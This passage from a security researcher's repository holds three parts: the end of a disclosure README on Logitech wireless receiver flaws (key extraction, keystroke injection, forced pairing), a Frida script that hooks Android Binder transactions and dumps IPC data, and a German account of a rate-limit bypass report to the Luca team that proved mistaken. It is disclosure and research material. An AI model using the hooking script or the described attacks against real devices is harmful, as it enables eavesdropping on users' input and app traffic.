169 |     - "K400+" keyboard, demo key sniffing + eavesdropping: https://youtu.be/GRJ7i2J_Y80
170 |     - Keyboard eavesdropping, Demo 2: https://youtu.be/1UEc8K_vwJo
171 |     - "MX Anywhere 2S" Mouse, demo key sniffing + encrypted injection: https://twitter.com/mame82/status/1139671585042915329
172 | 
173 | ## 5) Actively obtain link encryption keys by dumping them from receiver of Unifying devices (physical access, patch will be supplied)
174 | 
175 | ### Description
176 | 
177 | Due to undocumented vendor commands and improper data protection of some Logitech Unifying receivers, an attacker with
178 | physical access could extract link encryption keys of all paired devices in less than a second.
179 | 
180 | Logitech is going to provide a patch for this issue in August 2019.  
181 | 
182 | With the stolen key, the attacker is able to inject arbitrary keystrokes (active), as well as to eavesdrop and live
183 | decrypt keyboard input remotely (passive). This applies to all encrypted Unifying devices with keyboard capabilities
184 | (f.e. MX Anywhere 2S mouse). Additionally there is no need to discover the device "on air" to carry out a keystroke
185 | injection attack, as the address is pre-known from the extraction (targeted attack possible, actual device doesn't have 
186 | to be in range - only the receiver) 
187 | 
188 | Logitech confirmed, that a patch will be provided for this new vulnerability in August 2019.
189 | 
190 | ### References
191 | 
192 | - CVE-2019-13055
193 | - vendor report (will be released once patch is available)
194 | 
195 | ### Demos
196 | 
197 | - Marcus Mengs
198 |     - "K360" keyboard, demo key extraction + eavesdropping: https://twitter.com/mame82/status/1101635558701436928
199 | 
200 | ## 6) Actively obtain link encryption keys by dumping them from receiver of encrypted presentation clickers (physical access, patch will be supplied)
201 | 
202 | ### Description
203 | 
204 | Due to undocumented vendor commands and improper data protection of some Logitech presentation clicker receivers, 
205 | an attacker with physical access could extract link encryption keys of all paired devices in less than a second.
206 | 
207 | The exact same attack vector described in CVE-2019-13055 applies, thus this is assumed to be fixed along with the 
208 | respective Unifying vulnerability in August 2019 (vendor has been informed on the issue, which is technically the same).
209 |  
210 | With the stolen key, the attacker is able to inject a subset of possible keystrokes (active). Additionally there is no 
211 | need to discover the device "on air" to carry out a keystroke injection attack, as the address is pre-known from the 
212 | extraction (targeted attack possible, actual device doesn't have to be in range - only the receiver).
213 | 
214 | In contrast to Logitech Unifying devices, there is no user accessible functionality to exchange the AES key of the
215 | presentation clicker, once it has been compromised. 
216 | 
217 | In addition to applying encryption, the receiver of affected presentation remotes filters out some keys, like A to Z,
218 | otherwise the devices act as standard keyboard.
219 | 
220 | On Microsoft Windows operating systems, this "key blacklisting" protection could be bypassed, using (not filtered) 
221 | shortcuts, which produce arbitrary ASCII characters as output. From an attacker's perspective this eliminates the need
222 | to obtain the keyboard layout used by the target, as the shortcut based approach is language independent.  
223 | 
224 | Logitech only confirmed to fix the key exteaction vulnerability. There is no information on planned Mitigations for the key filter bypass.
225 | 
226 | Update July 3rd, 2019: The announced Logitech patch also includes further measures to mitigate potential plain injections (those measures will then be effective on R500 and Mx Anywhere mouse)
227 | 
228 | Devices known to be affected are:
229 | - Logitech R500
230 | - Logitech SPOTLIGHT
231 | 
232 | 
233 | ### References
234 | 
235 | - CVE-2019-13054
236 | - vendor report (will be released once patch is available)
237 | 
238 | ### Demos
239 | 
240 | - Marcus Mengs
241 |     - "Logitech R500": https://twitter.com/mame82/status/1143093313924452353
242 |     - "Logitech SPOTLIGHT" on Win7: https://twitter.com/mame82/status/1144917952254369793
243 |     - "Logitech SPOTLIGHT", automated repetition for same device on Win10: https://twitter.com/mame82/status/1144578129811386368
244 | 
245 | 
246 | ## 7) Forced Pairing
247 | 
248 | 
249 | ### Description
250 | 
251 | A remote attacker could pair a new device to a Logitech Unifying receiver, even if the user has not put the dongle
252 | into pairing mode. This newly paired device could be used by the attacker to inject keystrokes into the host which has
253 | the Unifying dongle connected. The new device doesn't necessarily have to be presented to the user as keyboard, as
254 | other devices (f.e. mice) could be created with keyboard input capabilities, too.
255 | 
256 | This issue does not lead to eavesdropping of already paired keyboards.
257 | 
258 | ### Reference 
259 | 
260 | - Logitech Unifying devices, Bastille  
261 |     - https://github.com/BastilleResearch/mousejack/blob/master/doc/advisories/bastille-1.logitech.public.txt
262 |     - https://github.com/BastilleResearch/mousejack/blob/master/doc/advisories/bastille-3.logitech.public.txt
263 | 
264 | ### Demos
265 | 
266 | - Marcus Mengs
267 |     - Forced pairing: https://twitter.com/mame82/status/1086266411549364224
268 |     - Pair flooding: https://twitter.com/mame82/status/1086253615168344069
269 |   
270 | # Disclosure
271 | 
272 | Planned timeline on Twitter:
273 | 
274 | https://twitter.com/mame82/status/1144356418130194432
275 | 


--------------------------------------------------------------------------------
/native_binder.ts:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Android Binder hooking example by MaMe82
  3 |  *
  4 |  * I tried various approaches to hook Android's binder, all have benefits and shortcomings
  5 |  *
  6 |  * 1) Binder transactions are based on IOCTLs, the most basic and low level approach
  7 |  * would be to hook 'libc.so!ioctl'. Beside having to deal with a bunch of other IOCTLs
  8 |  * (for which the command IDs depend on the architecture), one has to isolate IOCTLs
  9 |  * which represent actual Binder **transactions**. This means:
 10 |  *  a) The parsed IOCTL command has to be BINDER_WRITE_READ (not BINDER_THREAD_EXIT etc)
 11 |  *
 12 |  *  b) The BinderReadWrite data structure, which referenced by the IOCTL data in such
 13 |  *  a case, contains write/read buffers. Those buffer have to be parsed, too, in order to determine
 14 |  *  the actual Binder commands/reply types. Only some of them represent actual Binder-transactions
 15 |  *  (namely BC_TRANSACTION, BC_REPLY, BR_TRANSACTION, BR_REPLY ...).
 16 |  *
 17 |  *  c) Once it is clear that there is a transaction, the data structure could be parsed further
 18 |  *  to obtain the actual transaction data. The raw data basically represents a native Parcel (a
 19 |  *  serialized/marshalled form of the objects transferred via Binder interfaces).
 20 |  *  The issue here is that parsing the Parcels require two things:
 21 |  *
 22 |  *  d) knowledge on the data format (part of the Binder interface definition which is not necessarily
 23 |  *  publicly available)
 24 |  *
 25 |  *  e) Using the native version of 'Parcel', which is based on C++ style objects, is less convenient
 26 |  *  then using the Parcel version from the Java layer (no need to define NativeFunction, no need to
 27 |  *  take care of architecture specific structure parsing ...)
 28 |  *
 29 |  *  f) The Binder transactions themselves could contain "serialized" Binder objects. The binder kernel
 30 |  *  driver does some magic, to re-construct the references for such "cross process code", if Binder
 31 |  *  objects are passed in transactions and get unmarshalled again. The approach of passing Binder objects
 32 |  *  via Binder transactions is very common. Example:
 33 |  *      - you want to retrieve Location updates from LocationManage
 34 |  *      - LocationManager itself is a wrapper for a Binder client interface, which communicates with the respective
 35 |  *      system service (which itself implements a Binder).
 36 |  *      - now, if you register for location updates, this is done by a Binder transaction (which again is transmitted
 37 |  *      as IOCTL). To be precise, this transaction would not really target the location service, but the service manager
 38 |  *      service, which once more implements a Binder to manage other Binder based services.
 39 |  *      - Let's simplify things a bit: Even if the request for location updates would be based on a direct Binder
 40 |  *      transaction from your "Location Client App", you can't receive the location updates in reply. This is because,
 41 |  *      the binder IPC transactions mimic synchronous behavior, there is no way to stream back data (location updates)
 42 |  *      asynchronously. In fact, a single transaction could be regarded as a IPC method call, which returns with a single
 43 |  *      result and blocks, till the call ended.
 44 |  *      - In order to deal with this in an asynchronous fashion, the common approach of "registering callbacks" has to be used.
 45 |  *      - And here comes the issue: How could you register a callback in another process, which implements a Binder?
 46 |  *      Answer: Your app implements a Binder itself (the Binder implementation has a Interface description on a higher layer,
 47 |  *      so IPC methods are well defined ... search for AIDL / IInterface for more details).
 48 |  *      - So now your app could expose callback methods, which could be used from other processes via Binder transactions.
 49 |  *      But how should the LocationManager know about your callback implementation ? This is where passing the Binder object
 50 |  *      via Binder transactions comes into play. You basically call a Binder method of the LocationManager which is meant to
 51 |  *      register a callback for location updates. This "registerCallback" method is called from your app using a Binder
 52 |  *      transaction. The binder transaction itself contains a marshalled Binder object in its transaction data.
 53 |  *      This marshalled binder object represents the runtime code parts of your app, which implement the actual callbacks.
 54 |  *      The binder driver does the magic to replace the serialized Binder object with proper references runtime references
 55 |  *      to your callback code once unmarshalling the transaction.
 56 |  *  This only touches the surface of complexity of Binder transactions, when being viewed from native code at IOCTL level.
 57 |  *
 58 |  *  Note: instead of 'libc.so!ioctl' a hook to 'libbinder.so!ioctl' could be used, if other IOCTLs
 59 |  *  are not of relevance (called less frequently).
 60 |  *
 61 |  *  The main benefits of the native approach:
 62 |  *  - great visibility, as you could basically hook all Binder transactions in scope
 63 |  *  - while it could get hard to parse Parcels transferred via Binder transaction, there is nothing which prevents
 64 |  *  you from inspecting the raw data. This gets tricky from the Java layer, especially if the transaction data contains
 65 |  *  Binder objects
 66 |  *
 67 |  * 2) There are several places to hook Binder transactions on the Java layer.
 68 |  * - it is easier to deal with transaction data and reply-data, as it is mostly represented by instances of
 69 |  * the Java 'Parcel' class, and you have all the methods to read from/write to the parcels right on your hand (
 70 |  * as they are exposed to Frida)
 71 |  * - it is less easy to hook all Binder related code, because a any Class could get a Binder if the 'android.os.IBinder'
 72 |  * interface gets implemented. There exists a basic implementation with 'android.os.Binder' with a nice hooking point
 73 |  * 'execTransact'. Yet, you can not assume that all Binder implementations use this code (think for native code, f.e.)
 74 |  * - Native IBinder objects are mostly wrapped into 'android.os.BinderProxy' instances. Hooking the method 'transact'
 75 |  * of this class, gives some great visibility into how an app communicates with system services (f.e. all the managers
 76 |  * like LocationManager, StorageManager, TelephonyManager ...). For example, I used this to inspect IPC calls to
 77 |  * `com.google.android.gms.ads.identifier.internal.IAdvertisingIdService` as there is no class of type
 78 |  * 'AdvertisingIdService' available a runtime, which could be hooked to monitor requests for the ADVERTISING_ID.
 79 |  * The respective method call to such an interface is encoded in an UInt32 code (the method 'generateAdvertisingId' is
 80 |  * represented by the number 13 for this interface). So if an interface definition is not available publicly (AIDL)
 81 |  * it requires some reversing, to make sense to the Binder transactions.
 82 |  * - So if you know about the definition of an interface, the Parcel data of Binder transactions on the Java layer
 83 |  * could easily get unmarshalled back to real objects (the respective Classes have to implement the Parcelable interface),
 84 |  * which allow further interaction.
 85 |  * - Anyways, most of the times looking at the raw transaction data is enough. Often UTF16 string are contained, which help
 86 |  * to makes sense out of the raw data already (f.e. the aforementioned ADVERTISING ID is represented as such a string
 87 |  * and thus could be read directly from raw data). In fact, for my use case it is not optimal to implement functionality
 88 |  * to unmarshall transaction data for each and every binder transaction. On the Java layer, the Parcel.marshall() method
 89 |  * was a great help for me, as it basically converts the Parcel object back to a raw ByteArray (similar to the native
 90 |  * representation). Unfortunately, this would not work Parcelled data which contains Binder objects, as it would end up in
 91 |  * an exception. This happens quite often ... as already mentioned, passing Binder objects is very common.
 92 |  *
 93 |  *
 94 |  * 3) The approach represented in this code, was the best fir for my needs. Basically I hooked the transact method
 95 |  * of the native Binder implementation (BBinder::transact). This combines the benefits (and some shortcomings) of
 96 |  * my other approaches:
 97 |  * - there is no need to deal with IOCTL level stuff, as the hooked method already receives Parcel instances
 98 |  * - there are no issues with reading raw Parcel data if it includes Binder objects, because the hook targets
 99 |  * the native Parcel implementation (C++ version) not the Java version
100 |  * - ?almost? all Binder transaction pass the hooked code (including those representing PING commands to Binders)
101 |  * - to deal with the native Parcels a dedicated class was included, beside exposing the 'dataSize()' and 'data()'
102 |  * methods (which allow reading the raw marshalled parcel data of the Binder transactions), the class includes a
103 |  * method 'javaInstance' which tries to instantiate a new Java version of the native Parcel object (if the hooked
104 |  * call is attached to a JVM)
105 |  * - the example code just prints out the raw Parcel content of the transaction data and reply (most transactions
106 |  * do NOT receive a reply, as they are implemented one way). The example also prints the reference to the obtained Java
107 |  * version of the parcel (if applicable) and invokes a Parcel-class member function (dataSize) from Java land
108 |  * to show that this is possible.
109 |  *
110 |  *
111 |  * To deploy the code, the exported method 'hookNativeBinder()' has to be called.
112 |  * The code was only tested on a 32bit ARM device running Android 9.
113 |  */
114 | 
115 | // Ref: https://android.googlesource.com/platform/frameworks/native/+/jb-dev/include/binder/Parcel.h
116 | // Note:    The class uses a very naive RegExp approach to de-mangle CPP export names
117 | //          It pays no attention on different compilers and assumes names mangled like processed
118 | //          by the RegExP in the static method 'getExportByMethodName'
119 | class CPPParcel {
120 |   private thisAddr: NativePointer
121 |   static libParcelExports: ModuleExportDetails[] | null
122 |   static exportMap: Map<string, ModuleExportDetails> = new Map<
123 |     string,
124 |     ModuleExportDetails
125 |   >()
126 | 
127 |   constructor(addr: NativePointer) {
128 |     this.thisAddr = addr
129 |   }
130 | 
131 |   private static getExportByMethodName(
132 |     name: string
133 |   ): ModuleExportDetails | null {
134 |     if (!CPPParcel.libParcelExports) return null
135 |     // the suffix 'E[RPabvfdji]' is a bit naive, in fact the whole RegEx based de-mangling is naive
136 |     const re = new RegExp(
137 |       `.*android[0-9]{1,3}Parcel[0-9]{1,3}${name}E[RPabvfdji]`
138 |     )
139 |     const matchingExports = CPPParcel.libParcelExports.filter(e =>
140 |       e.name.match(re)
141 |     )
142 |     if (matchingExports.length === 1) {
143 |       if (matchingExports[0].type !== "function") return null // do not assign if type is "variable"
144 |       return matchingExports[0]
145 |     }
146 |     return null
147 |   }
148 | 
149 |   public static initClass(libBinderExports: ModuleExportDetails[]) {
150 |     const reParcel = /.*android[0-9]{1,3}Parcel.*/
151 |     CPPParcel.libParcelExports = libBinderExports.filter(exp =>
152 |       exp.name.match(reParcel)
153 |     )
154 | 
155 |     const requiredExports = [
156 |       "data",
157 |       //"dataAvail",
158 |       //"dataPosition",
159 |       //"ipcData",
160 |       //"ipcDataSize",
161 |       "dataSize"
162 |     ]
163 | 
164 |     for (let expName of requiredExports) {
165 |       const exp = CPPParcel.getExportByMethodName(expName)
166 |       if (exp) CPPParcel.exportMap.set(expName, exp)
167 |       else
168 |         console.log(
169 |           `Can not find export for Parcel member function '${expName}'`
170 |         )
171 |     }
172 | 
173 |     /*
174 |     let out = "Assigned exports for CPP Parcel class:\n"
175 |     for (let [k, v] of CPPParcel.exportMap) {
176 |       out += `\t${k}: ${JSON.stringify(v)}\n`
177 |     }
178 |     console.log(out)
179 |     */
180 |   }
181 | 
182 |   public dump(): string {
183 |     const pData = this.data()
184 |     const dataSize = this.dataSize()
185 |     if (dataSize && pData) return hexdump(pData, { length: dataSize })
186 |     return ""
187 |   }
188 | 
189 |   public dataSize(): number {
190 |     const dataSizeFuncExport = CPPParcel.exportMap.get("dataSize")
191 |     if (!dataSizeFuncExport) return 0
192 |     const funcDataSize = new NativeFunction(dataSizeFuncExport.address, "int", [
193 |       "pointer"
194 |     ])
195 |     const result = funcDataSize(this.thisAddr)
196 |     //console.log("DATA_SIZE RESULT:", result)
197 |     return result as number
198 |   }
199 | 
200 |   public data(): NativePointer | null {
201 |     const dataFuncExport = CPPParcel.exportMap.get("data")
202 |     if (!dataFuncExport) return null
203 |     const funcData = new NativeFunction(dataFuncExport.address, "pointer", [
204 |       "pointer"
205 |     ])
206 |     const result = funcData(this.thisAddr)
207 |     //console.log("DATA RESULT:", result)
208 |     return result as NativePointer
209 |   }
210 | 
211 |   public javaInstance() {
212 |     if (!Java.available) return null
213 |     const clazzParcel = Java.use("android.os.Parcel")
214 |     const nativePtr: number = (this.thisAddr as any).toUInt32()
215 |     const parcelFromPool = clazzParcel.obtain(nativePtr)
216 | 
217 |     return parcelFromPool
218 |   }
219 | }
220 | 
221 | export function hookNativeBinder() {
222 |   // reference: https://android.googlesource.com/platform/frameworks/native/+/jb-dev/libs/binder/Binder.cpp
223 |   // ref2: https://android.googlesource.com/platform/frameworks/native/+/jb-dev/include/binder/IBinder.h
224 |   enum EnumsIBinder {
225 |     PING_TRANSACTION = 0x5f504e47, //B_PACK_CHARS('_','P','N','G'),
226 |     DUMP_TRANSACTION = 0x5f444d50, // B_PACK_CHARS('_','D','M','P'),
227 |     INTERFACE_TRANSACTION = 0x5f4e5446, // B_PACK_CHARS("_", "N", "T", "F"),
228 |     SYSPROPS_TRANSACTION = 0x5f535052 // B_PACK_CHARS("_", "S", "P", "R")
229 |   }
230 |   const FLAG_ONEWAY = 0x00000001
231 |   const FIRST_CALL_TRANSACTION = 0x00000001
232 |   const LAST_CALL_TRANSACTION = 0x00ffffff
233 | 
234 |   const reBBinder_onTransact = /.*BBinder.*transact.*/
235 |   const mBinder = Module.load("libbinder.so")
236 |   const exportsLibbinder = mBinder.enumerateExports()
237 |   const exportsBBinderTransact = exportsLibbinder.filter(expDetails =>
238 |     expDetails.name.match(reBBinder_onTransact)
239 |   )
240 | 
241 |   CPPParcel.initClass(exportsLibbinder)
242 | 
243 |   for (let exp of exportsBBinderTransact) {
244 |     console.log(`Hooking ${exp.name} ...`)
245 |     Interceptor.attach(exp.address, {
246 |       onEnter(args) {
247 |         try {
248 |           this.binderInstance = args[0]
249 |           this.code = (args[1] as any).toUInt32() // uint32_t
250 |           this.pData = args[2]
251 |           this.pReply = args[3]
252 |           this.flags = (args[4] as any).toUInt32() // uint32_t
253 |         } catch (e) {
254 |           console.log("BBinder:transact hook exception:", e)
255 |         }
256 |       },
257 |       onLeave(retVal) {
258 |         try {
259 |           const selfInstance = this.binderInstance // not used, would allow accessing other BBinder instance functionality
260 |           const code = this.code as number // uint32_t
261 |           const pData = this.pData as NativePointer
262 |           const pReply = this.pReply as NativePointer
263 |           const flags = this.flags as number // uint32_t
264 |           const isOneWay = (flags & FLAG_ONEWAY) > 0
265 | 
266 |           const data = new CPPParcel(pData)
267 |           const reply = new CPPParcel(pReply)
268 | 
269 |           // Log some info to console
270 |           let out = `${exp.name} called (code=${code}, pData=${pData}, pReply=${pReply}, flags=${flags} (oneWay: ${isOneWay}))`
271 | 
272 |           if (data !== null && data.dataSize() > 0) {
273 |             out += "\ndata:\n" + data.dump()
274 |             // testing Java access
275 |             const javaInstance = data.javaInstance()
276 |             if (javaInstance) {
277 |               out += "\nJava version of Parcel: " + javaInstance
278 |               out +=
279 |                 "\nJava instance method Parcel.dataSize(): " +
280 |                 javaInstance.dataSize()
281 |             }
282 |           }
283 | 
284 |           if (reply !== null && reply.dataSize() > 0) {
285 |             out += "\nreply:\n" + reply.dump()
286 |           }
287 |           console.log(out)
288 |         } catch (e) {
289 |           console.log("BBinder:transact hook exception:", e)
290 |         }
291 |       }
292 |     })
293 |   }
294 | }
295 | 


--------------------------------------------------------------------------------
/invalid_report.md:
--------------------------------------------------------------------------------
  1 | # Meldung einer vermeintlichen Sicherheitslücke an Luca Team
  2 | 
  3 | Die Zusammenfassung, die ich hier wiedergebe, ist für mich etwas ungewöhnlich, denn ich schreibe nicht auf Englisch (ich entschuldige mich schonmal für alle Typos, da ich keine Helferlein mit German Language-Pack installiert habe) und ich schreibe nicht nur über Technik.
  4 | 
  5 | Warum? Weil es um die LucaApp geht, über die viel im öffentlichen Raum diskutiert wird (das schließt mich mit ein). Mein Fokus liegt i.d.R. ausschließlich auf Technik und Code, denn dort gibt es nicht viel Interpretationsspielraum oder viele Auslegungsvarianten. Das gestaltet sich im Kontext der "Luca app" derzeit offensichtlich etwas anders, daher gebe ich auch Rahmeninformationen wieder.
  6 | 
  7 | # Um was geht es eigentlich
  8 | 
  9 | Das Luca Backend implementiert verschiedenste Sicherheitsmechanismen. Dieser Text behandelt aus der Fülle dieser Mechanismen genau einen: das "Rate Limiting".
 10 | 
 11 | Die grundsätzliche Idee hinter "Rate Limiting" ist die Anzahl von Requests einzelner Nutzer (oder Quell-IPs) auf eine festgelegte maximale Anzahl in einem vorgegebenen Zeit-Intervall zu beschränken. Genauso unterschiedlich wie die Gründe für einen solchen Mechanismus sind, sind die Parameter die beim Einsatz von "Rate Limiting" zum Tragen kommen (maximale Anzahl erlaubter Requests, Kriterien für Requestzählung, Sperrzeit beim Erreichen des Limits usw.).
 12 | 
 13 | Ein offensichtliches Beispiel für einen sinnvollen Einsatz von Rate Limiting, wäre bspw. ein Endpunkt der Nutzer authentifiziert. Das "Rate Limit" würde hierbei üblicherweise NICHT direkt die Anzahl falsch eingegebener Kennwörter zählen, um den Nutzer nach zu vielen Fehlversuchen zu sperren, denn das gehört er in die Applikations-Logik. Über "Rate Limiting" könnte man aber verhindern, dass ein Nutzer 100 Kennwörter in wenigen Sekunden testet, denn dabei würde es sich aller Wahrscheinlichkeit nach um einen Bruteforce-Versuch handeln. Klares Messkriterium (und damit Parameter), wäre hier also schonmal die Anzahl der Requests pro Zeit-Intervall. Die Requests müssten aber auch einem Nutzer zugeordnet werden. Das könnte z.B. über die Quell-IP erreicht werden (eher schlecht, aufgrund DoS-Potential bei source IP spoofing _wink_). Zu den Parametern/Kriterien für "Rate Limits" gehört aber auch deren "Scope" (Anwendung nur auf den Authentifizierungs-Endpunkt / Anwendung auf alle Endpunkte gleichermaßen, oder aber, Anwendung individuell je Endpunkt).
 14 | 
 15 | Ich denke, das reicht zur Kurzerläuterung von "Rate Limiting".
 16 | 
 17 | Für Luca kommt Rate Limiting an verschiedenen Endpunkten (EP) zum Einsatz, auch hier werden u.a. Bruteforce Angriffe damit verhindert. Problematisch wäre es aber auch, wenn man an die EPs für SMS-TAN Verifizierung beliebig viele Anfragen senden könnte, denn so wäre man in der Lage den Massenversand von SMS auszulösen. Eine Umgehung des "Rate Limiting" wäre also an verschiedenen Stellen kritisch.
 18 | 
 19 | Ich habe mir also  (neben vielen anderen) die Frage gestellt, ob man für das Luca Backend das Rate Limiting umgehen kann.
 20 | 
 21 | Fragen wie diese kann man sich auf verschiedenste Arten beantworten: Quellcode lesen und nach Implementierungsfehlern als Ansatz suchen (der Code für das Backend wurde gerade veröffentlicht), blind testen, ohne überhaupt eine Idee zu haben (nein, das ist kein Fuzzing - bestenfalls Blackbox-Testing) oder: Man hat eine konkrete Idee, probiert diese aus, passt sie an ein mögliches Szenario an - sofern sie funktioniert, erstellt dann ein Proof-of-Concept (PoC) und leitet potentielle Folgen ab, um den Impact abschätzen zu können (denn man sollte nicht wirklich alles testen, wie z.B. Massen-SMS-Versand).
 22 | 
 23 | Gewählt habe ich die letzte Variante, denn ich hatte bereits eine simple Idee und erste Tests waren vielversprechend. Derartige Ideen führen oft nicht ad-hoc zum Ziel, aber kein Grund schnell aufzugeben. Ist man in die erste Sackgasse gelaufen, nimmt man einen anderen Weg. Das tut man so lange, bis man das Ziel erreicht hat oder man jeden möglichen Weg beschritten hat, **erst dann verwirft man die Idee**.
 24 | 
 25 | In diesem Fall gab es nicht wirklich viele Sackgassen und alles ging mir recht gut von der Hand. Es sollte sich allerdings herausstellen, dass ich "an Stellen abgebogen bin, wo gar keine Wege mehr waren". Im Resultat habe ich zwar einen Ausgang aus dem Ideen-Labyrinth entdeckt, nur leider nicht bemerkt, dass über diesem Ausgang nicht wirklich das Wort "Ziel" stand.
 26 | 
 27 | Neben dem öffentlichen Interesse an Luca, ist das einer der wichtigsten Gründe, warum ihr diesen Text lest. **Scheitern ist ganz normal. Es gehört dazu, denn aus Fehlern lernt man und nur wenn man aus Fehlern lernt, wächst man!** Gerade die Security-Community ist oft so scheinheilig, dass man in ihr oft schnell verzweifeln kann. Es gibt Massenhaft Blender, Imposter, auch viel Ideenklau und Lügen. Gerade für Newcomer ist das oft schwer zu erkennen. Überall liest man von Erfolgen, Exploits mit klangvollen Namen - als stammen sie aus der Werbeindustrie -, "critical vulnerabilities" werden scheinbar am Fließband entdeckt. Was man kaum in den Vordergrund rückt: Die zahlreichen Fails und die riesige Menge an Arbeit, die oft in die Ausarbeitung eines funktionalen Exploits geht (meist müssen ganze Ketten an Schwachstellen entdeckt und verknüpft werden, um ein einfaches Ziel zu erreichen).
 28 | 
 29 | Für mich sind "fails" ganz normal, ich gehe damit locker um und habe über die Jahre auch gelernt zu akzeptieren, dass man (gerade bei der Suche nach Schwachstellen) wesentlich mehr Lebenszeit auf das Scheitern verschwendet, als darauf Erfolge zu feiern. Nochmal: **Das ist ganz normal und dessen sollte man sich von vornherein bewusst sein**.
 30 | 
 31 | Trotzdem mache auch ich den Fehler, andere hauptsächlich an Erfolgen teilnehmen zu lassen und Misserfolge schnell zu übergehen. Damit trage auch ich zur schlechten Fehlerkultur in der Sec-Community bei und möchte das wenigstens an dieser Stelle einmal anders machen.
 32 | 
 33 | Leider kann ich kein wirklich großes Klagelied singen, denn diesmal habe ich nur wenige Stunden Lebenszeit mit einem Fehler verbracht (remember: diese Zeit ist trotzdem nicht verschwendet), dennoch ist so etwas exemplarisch.
 34 | 
 35 | Bevor ich zum technischen Teil komme, möchte ich noch den zweiten Aspekt abhandeln, an dem die meisten interessiert sein dürften:
 36 | 
 37 | # Umgang des Luca Teams mit gemeldeter Sicherheitslücke
 38 | 
 39 | Zunächst einmal bin ich gar nicht den üblichen (und richtigen) Weg gegangen, mich direkt an den betroffenen Hersteller zu wenden, sondern habe public über Twitter nach den "Frontleuten" des Luca-Teams gerufen.
 40 | 
 41 | Eine Antwort hatte ich innerhalb weniger Minuten (als DM). Natürlich habe ich den Weg über Twitter bewusst gewählt. Über Luca wird nicht nur viel geredet (auch viel Bullshit), sondern man sagt dem Team auch nach, dass sie ausweichend reagieren und Probleme nicht adressieren. Ich kann das in Teilen für mich bestätigen, aber die Handhabung von Schwachstellen ist ja nochmal ein ganz anderes Feld, als public-relationship oder customer-relationship. Will sagen, anhand dessen wie ein Vendor mit Meldenden von Schwachstellen und den Schwachstellen selbst umgeht, trennt sich schnell die Spreu vom Weizen.
 42 | 
 43 | Weiter im Text ... Ich habe also eine DM mit Antwort erhalten und daraufhin gebeten, auf meine öffentliche Frage auch eine öffentliche Antworten zu erhalten. Auch dies ist alles andere als üblich, aber seitens Luca kam man der Bitte prompt nach.
 44 | 
 45 | Der Rest ging mehr oder weniger im Standard-Prozess weiter: Melden der potentiellen Schwachstelle auf vorgesehenem Kanal (verschlüsselte Mail) und dann auf Vendor warten. Da der PoC so schlicht war, habe ich keinen Report geschrieben, sondern zu Problem-Ursache und Mitigation nur einige Kommentare in den PoC selbst eingefügt.
 46 | 
 47 | Mit einer Antwort hätte ich nicht mehr am selben Tag gerechnet, aber die kam schon weniger als 3 Stunden später (in dieser Zeit haben wesentlich besser aufgestellte Firmen noch nicht mal ein Ticket aufgemacht). Der Inhalt der Mail war nicht nur eine einfache technische Rückfrage, sondern:
 48 | 
 49 | - das Problem wurde technisch verstanden (nicht sehr komplex)
 50 | - konnte nicht reproduziert werden (Ui, das wurde schnell getestet)
 51 | - es wurden auch andere Varianten eine "Rate Limit Bypasses" auf Basis des PoC getestet (die ich gar nicht vorgesehen hatte), aber ebenfalls ohne Erfolg
 52 | 
 53 | Darüber hinaus wurde angeboten, auf Deutsch weiter zu kommunizieren (macht ja Sinn).
 54 | 
 55 | ... und nun?! Scheiße, keine 3 Stunden rum und ich hab das Ding wieder auf dem Tisch. Eigentlich Family time, aber auch nach so vielen Jahren tue ich mich noch schwer, von einem Problem abzulassen, wenn ich nicht weiß wo die Ursache liegt.
 56 | 
 57 | Hier kommt erschwerend hinzu, dass die Luca-Leute plausibel dargestellt haben, dass alles erdenkliche versucht wurde, um die Ausnutzung der vermeintlichen Schwachstelle zu reproduzieren. "Fehler auf meiner Seite? Wäre nicht so schlimm, aber dann will ich es sofort wissen!".
 58 | 
 59 | Also an der Stelle alles zurück auf Null: Neues (schlichteres) PoC Skript ... und siehe da, ganz andere Ergebnisse. Frage an mich: "Haben die da heimlich was gefixt?" ... Antwort: "Sicher nicht, würde auch rauskommen!" _(Anmerkung: Habe ich aber bei anderen Deutschen Branchen-Riesen mit gehostetem BugBounty schon erlebt)_
 60 | 
 61 | Also habe ich einen Fehler gemacht. Diesen Fehler zu finden, hat mich wesentlich mehr Zeit gekostet als den ersten PoC zu erstellen! Merkt euch das bitte, falls ihr mal für Bounties oder VDPs einreicht ... nicht sofort drängeln, vollständige Analyse und Fix einer Schwachstelle können deutlich mehr Zeit in Anspruch nehmen, als sie zu finden und zu proofen (Je nachdem wir ehrlich der Vendor ist, ist das insbesondere dann gut, wenn dieser die Kritikalität noch hoch setzt, weil der Impact größer ist als ihr ursprünglich dachtet).
 62 | 
 63 | Ein Weile später war dann alles klar: Ein Schwung an Fehlanahmen auf meiner Seite, alles Murx.
 64 | 
 65 | Also, Mail zurück an das Luca Team (Abends 20:30Uhr), gemachte Fehler klarstellen ... "Drops gelutscht".
 66 | 
 67 | Dann noch Klarstellung bei Twitter (Wichtig Leute: "Wer A sagt muss auch B sagen!") und ab zur Family.
 68 | 
 69 | Das sollte es jetzt zur Kommunikation gewesen sein. IMO hat man da bei Luca nichts anbrennen lassen. Aber "Oha!" am nächsten Tag wieder eine Mail von Luca im Eingang! Why? Bekomme ich Feedback, dass das Ticket geschlossen ist? Nein! Wer auch immer meine Einreichung reviewt hat, hat sich nach meiner letzten Mail auch noch die Mühe gemacht, nachzuvollziehen warum mein **nicht funktionaler** PoC am Real-System andere Ergebnisse produziert als in meinen Tests und mir dazu zusätzliche Informationen zukommen lassen. Nicht schlecht! Für mich ist das ein klares Anzeichen dafür, dass man seitens Luca daran interessiert ist, dass ResearcherInnen auch die nötigen Informationen an die Hand bekommen, um saubere Tests durchzuführen.
 70 | 
 71 | An dieser Stelle kann ich nur sagen: Wenn im Umgang mit diesem Report etwas falsch gehandhabt wurde, dann nicht auf der Seite von Luca. AmS wurde der Vorgang schnell, präzise und umfassend abgearbeitet!
 72 | 
 73 | Weiter mit der Idee und PoC Entwicklung...
 74 | 
 75 | # Tinkering with Luca-backend rate limiting
 76 | 
 77 | Wie Eingangs erläutert, habe ich nicht den bereits verfügbaren Code zur "Rate Limiting" Implementierung gelesen und nach schwächen gesucht, sondern bin von einigen Annahmen ausgegangen und habe eine Idee verfolgt.
 78 | 
 79 | Annahmen für etabliertes Rate Limiting:
 80 | 
 81 | 1. Key Quell-IP des Requester
 82 | 2. Key auf nicht-dynmaischen teil des query path (kein keying der query params und dynamischen Pfad-Anteile, wie z.B. UUIDs im request Pfad)
 83 | 3. Unterscheidung je Endpunkt (ergibt sich aus 2.)
